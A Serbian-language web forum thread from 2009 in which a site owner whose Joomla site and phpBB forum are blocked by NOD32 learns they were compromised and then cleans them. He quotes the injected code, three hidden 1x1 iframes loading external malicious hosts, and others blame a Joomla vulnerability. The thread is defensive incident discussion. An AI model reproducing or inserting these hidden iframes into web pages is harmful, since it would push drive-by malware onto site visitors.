MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Nod32 blokira sajt

Napisano na dan: 20.4.2009

Nod32 blokira sajt
Sledeća strana Pagination

Idi na vrh

Poslao: 20 Apr 2009 00:10
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac


da li je ovo do mene ili stvarno na hostu imam ubacen virus?



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
Poslao: 20 Apr 2009 00:16
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Napisano: 20 Apr 2009 0:13

Proveri kod - i na coolinarici se od juce desava to (moja mama visi tamo) i ima neki iframe koji vuce na neki kineski sajt, koji protura neki pdf dokument koji je zatazen...

Dopuna: 20 Apr 2009 0:16

Da evo sad sam pogledao i kod tebe - potpuno isti sajt je u pitanju - isti iframe exploit...



Poslao: 20 Apr 2009 20:46
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

Napisano: 20 Apr 2009 0:26

hmmmm...sajt mi je radjen u joomli, a forum mi je phpbb, tako da ne znam sta da gledam :S

i to se desilo pre jedno 20 minuta kada pocelo da mi blokira sajt kao i forum...da li postoji jos neko resenje?

Dopuna: 20 Apr 2009 20:46

sredio sam problem. u svim fajlovima od sajta kao i foruma gde se pominje index.php i index.html je ubacio ove frejmove:

echo "<iframe src=\"http://sefauro.net/?click=6B1813\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
<iframe src="http://hotslotpot.cn/in.cgi?income67" width=1 height=1 style="visibility: hidden"></iframe>
echo "<iframe src=\"http://sefauro.net/?click=1B47575\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
sinoc i danas su sve svi zalili na ove napade i tako da obevezno radite backup.

Poslao: 21 Apr 2009 00:01
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Verovatno koriste neki propust u samoj joomli, pa injektuju kod. Cim izadje nova verzija, updateuj...

Poslao: 21 Apr 2009 00:40
Idi na vrh
offline
  • Pridružio: 01 Apr 2006
  • Poruke: 658
  • Gde živiš: Kruševac

opet su mi ubacili ove frejmove na sajtu :S
nije proslo ni 3-4 sata kako sam dogao sve iz pocetka :S

Poslao: 21 Apr 2009 01:35
Idi na vrh
offline
  • pixxel  Male
  • Legendarni građanin
  • Pridružio: 21 Jun 2005
  • Poruke: 9091
  • Gde živiš: Tu i tamo...

Pa kazem ti da koriste propust u softveru joomle. Mozes ti da brises koliko hoces, oni idu redom i vracaju, dok se ne "zaleci" taj propust... E sad, jedino ako imas neki nezavisni plugin, mozda se provlaci kroz njega...

Poslao: 21 Apr 2009 12:10
Idi na vrh
offline
  • m4rk0  Male
  • Administrator
  • Administrator tech foruma
  • Marko Vasić
  • Gladijator - Maximus Decimus Meridius
  • Pridružio: 14 Jan 2005
  • Poruke: 15766
  • Gde živiš: Majur (Colosseum)

Salji mail joomla timu.

MyCity » Zaštita od zlonamernih programa -> Zaštitni programi » Nod32 blokira sajt

Ko je trenutno na forumu
 

Ukupno su 1179 korisnika na forumu :: 34 registrovanih, 6 sakrivenih i 1139 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 3466 - dana 01 Jun 2021 17:07

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: A.R.Chafee.Jr., airsuba, amaterSRB, aramis s, bolenbgd, FileFinder, hologram, Karla, kikisp, Kubovac, laganini123, Lieutenant, M1los, milenko crazy north, Mlav, mnn2, nenad81, nextyamb, ninareflex, Parker, procesor, royst33, S-lash, Simon simonović, Sirius, slonic_tonic, suton, tomigun, Trpe Grozni, tubular, vladetije, wolf431, |_MeD_|, šumar bk2